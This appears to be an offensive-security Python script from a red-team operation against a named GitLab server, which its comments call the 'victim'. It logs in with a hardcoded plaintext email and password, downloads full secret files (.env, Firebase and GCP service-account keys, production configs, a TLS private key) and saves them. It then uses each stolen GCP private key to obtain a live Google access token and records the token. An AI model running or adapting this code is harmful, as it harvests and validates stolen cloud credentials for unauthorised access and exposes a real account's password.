#!/usr/bin/env python3
"""Fetch full secret files + validate GCP SA keys (operator GO 2026-08-14).

Step A: pull full file contents via GitLab repository files API (read-only,
same OAuth password grant as before). Snippets in L2_full_aug14.json are
400-char truncated — full keys needed for use.
Step B: validate each unique GCP service-account JSON offline-signed JWT ->
oauth2.googleapis.com token exchange (jwt-bearer grant, scope
cloud-platform.read-only) + tokeninfo. LIVE = token issued; DEAD = invalid_grant.
No GCP resource access (no bucket listing etc.) — validation only.

Egress: gitlab.pharmalink.id (victim API, read-only GET) + oauth2.googleapis.com
(Google, third-party validation endpoint). No writes anywhere.
Out: gcp_keys/*.json|key + gcp_sa_validation_aug14.json + OPLOG entries.
"""
import base64
import importlib.util
import json
import sys
import time
import urllib.parse
from datetime import datetime, timezone
from pathlib import Path

ROOT = Path('/root/ir-assessment')
REDTEAM = ROOT / 'redteam'
DOSSIER = REDTEAM / 'gitlab_pharmalink_id'
KEYS_DIR = DOSSIER / 'gcp_keys'

spec = importlib.util.spec_from_file_location('l2s', str(REDTEAM / 'l2_aug06_sweep.py'))
l2s = importlib.util.module_from_spec(spec)
spec.loader.exec_module(l2s)

BASE = 'https://gitlab.pharmalink.id'
USER = 'marcellowilliam74@gmail.com'
PW = '@Cello1333'

# (project_id, repo_path) — ids from L2_aug10.json
FILES = [
    (1203, 'appname/monitoringlogs-bfc19-firebase-adminsdk-fbsvc-b135befb55.json'),  # manufacture-be
    (1203, 'appname/.env'),
    (1112, 'appname/innopharm_main.json'),          # manufacture-core-auth
    (1112, 'appname/.env'),
    (1014, 'development.json'),                      # iot-healthcare-be
    (1014, 'production.json'),
    (688,  'development.json'),                      # admin-innopharm-be
    (688,  'production.json'),
    (688,  'innopharm_main.json'),
    (588,  'development.json'),                      # pharmavit-master-be
    (588,  'production.json'),
    (1259, 'appname/monitoringlogs-bfc19-firebase-adminsdk-fbsvc-b135befb55.json'),  # learn-python
    (948,  'nginx/certs/_wildcard.innopharm.local.key'),  # docker-local TLS key
]

def oplog(tool, cmd, desc, output, result):
    ts = datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M')
    with open(DOSSIER / 'OPLOG.md', 'a') as f:
        f.write(f"{ts} | local | gitlab.pharmalink.id:443 | {tool} | {cmd} | {desc} | {output} | {result} | none | read-only\n")

def b64url(b):
    return base64.urlsafe_b64encode(b).rstrip(b'=')

def sa_jwt_exchange(sa):
    """Sign JWT with SA private key, exchange at Google. Returns (status, body_dict)."""
    from cryptography.hazmat.primitives import hashes, serialization
    from cryptography.hazmat.primitives.asymmetric import padding
    now = int(time.time())
    header = {'alg': 'RS256', 'typ': 'JWT', 'kid': sa.get('private_key_id')}
    claims = {'iss': sa['client_email'],
              'scope': 'https://www.googleapis.com/auth/cloud-platform.read-only',
              'aud': 'https://oauth2.googleapis.com/token',
              'iat': now, 'exp': now + 3600}
    si = b64url(json.dumps(header).encode()) + b'.' + b64url(json.dumps(claims).encode())
    key = serialization.load_pem_private_key(sa['private_key'].encode(), password=None)
    sig = key.sign(si, padding.PKCS1v15(), hashes.SHA256())
    jwt = (si + b'.' + b64url(sig)).decode()
    data = urllib.parse.urlencode({
        'grant_type': 'urn:ietf:params:oauth:grant-type:jwt-bearer',
        'assertion': jwt}).encode()
    st, body = l2s.req('https://oauth2.googleapis.com/token', method='POST', data=data,
                       headers={'Content-Type': 'application/x-www-form-urlencoded'})
    try:
        return st, json.loads(body)
    except Exception:
        return st, {'raw': body[:300]}

def main():
    KEYS_DIR.mkdir(parents=True, exist_ok=True)

    tok = l2s.oauth(BASE, USER, PW)
    if not tok:
        print('[-] oauth failed', file=sys.stderr); sys.exit(1)
    H = {'Authorization': f'Bearer {tok}'}

    # --- Step A: fetch full files ---
    fetched, failed = [], []
    for pid, path in FILES:
        enc = urllib.parse.quote(path, safe='')
        got = None
        for ref in ('HEAD', 'master', 'main'):
            st, body = l2s.req(f'{BASE}/api/v4/projects/{pid}/repository/files/{enc}/raw?ref={ref}', headers=H)
            if st == 200 and body:
                got = body
                break
        if got is None:
            failed.append((pid, path, st))
            print(f'  [-] {pid} {path}: http {st}', file=sys.stderr)
            continue
        slug = f"{pid}__{path.replace('/', '__')}"
        (KEYS_DIR / slug).write_text(got)
        fetched.append((pid, path, len(got)))
        print(f'  [+] {pid} {path}: {len(got)} bytes', file=sys.stderr)
    oplog('urllib/api', 'GET /api/v4/projects/:id/repository/files/:path/raw',
          f'fetch {len(FILES)} secret files full content',
          f'fetched={len(fetched)} failed={len(failed)} {failed if failed else ""}',
          'SUCCESS' if not failed else 'PARTIAL')

    # --- Step B: validate unique GCP SA keys ---
    seen_keys = {}
    for f in sorted(KEYS_DIR.iterdir()):
        try:
            d = json.loads(f.read_text())
        except Exception:
            continue
        if isinstance(d, dict) and d.get('type') == 'service_account' and d.get('private_key'):
            kid = d.get('private_key_id')
            if kid not in seen_keys:
                seen_keys[kid] = (f.name, d)

    results = []
    for kid, (fname, sa) in seen_keys.items():
        st, resp = sa_jwt_exchange(sa)
        entry = {'source_file': fname, 'project_id': sa.get('project_id'),
                 'client_email': sa.get('client_email'), 'private_key_id': kid,
                 'token_http': st}
        if st == 200 and resp.get('access_token'):
            entry['verdict'] = 'LIVE'
            entry['access_token'] = resp['access_token']
            entry['expires_in'] = resp.get('expires_in')
            sti, ti = l2s.req('https://oauth2.googleapis.com/tokeninfo?access_token=' + resp['access_token'])
            try:
                entry['tokeninfo'] = json.loads(ti)
            except Exception:
                entry['tokeninfo'] = ti[:200]
        else:
            entry['verdict'] = 'DEAD'
            entry['error'] = resp
        results.append(entry)
        print(f"  [{'LIVE' if entry['verdict']=='LIVE' else 'DEAD'}] {sa.get('client_email')} "
              f"(proj={sa.get('project_id')}) http={st} {'' if st==200 else resp}", file=sys.stderr)

    out = DOSSIER / 'gcp_sa_validation_aug14.json'
    out.write_text(json.dumps(results, indent=1, ensure_ascii=False))
    live = sum(1 for r in results if r['verdict'] == 'LIVE')
    oplog('urllib/google', 'POST oauth2.googleapis.com/token (jwt-bearer); GET tokeninfo',
          f'validate {len(results)} unique GCP SA keys',
          f'LIVE={live} DEAD={len(results)-live} -> {out.name}',
          'SUCCESS')
    print(f'[+] validation -> {out}  LIVE={live}/{len(results)}', file=sys.stderr)

if __name__ == '__main__':
    main()
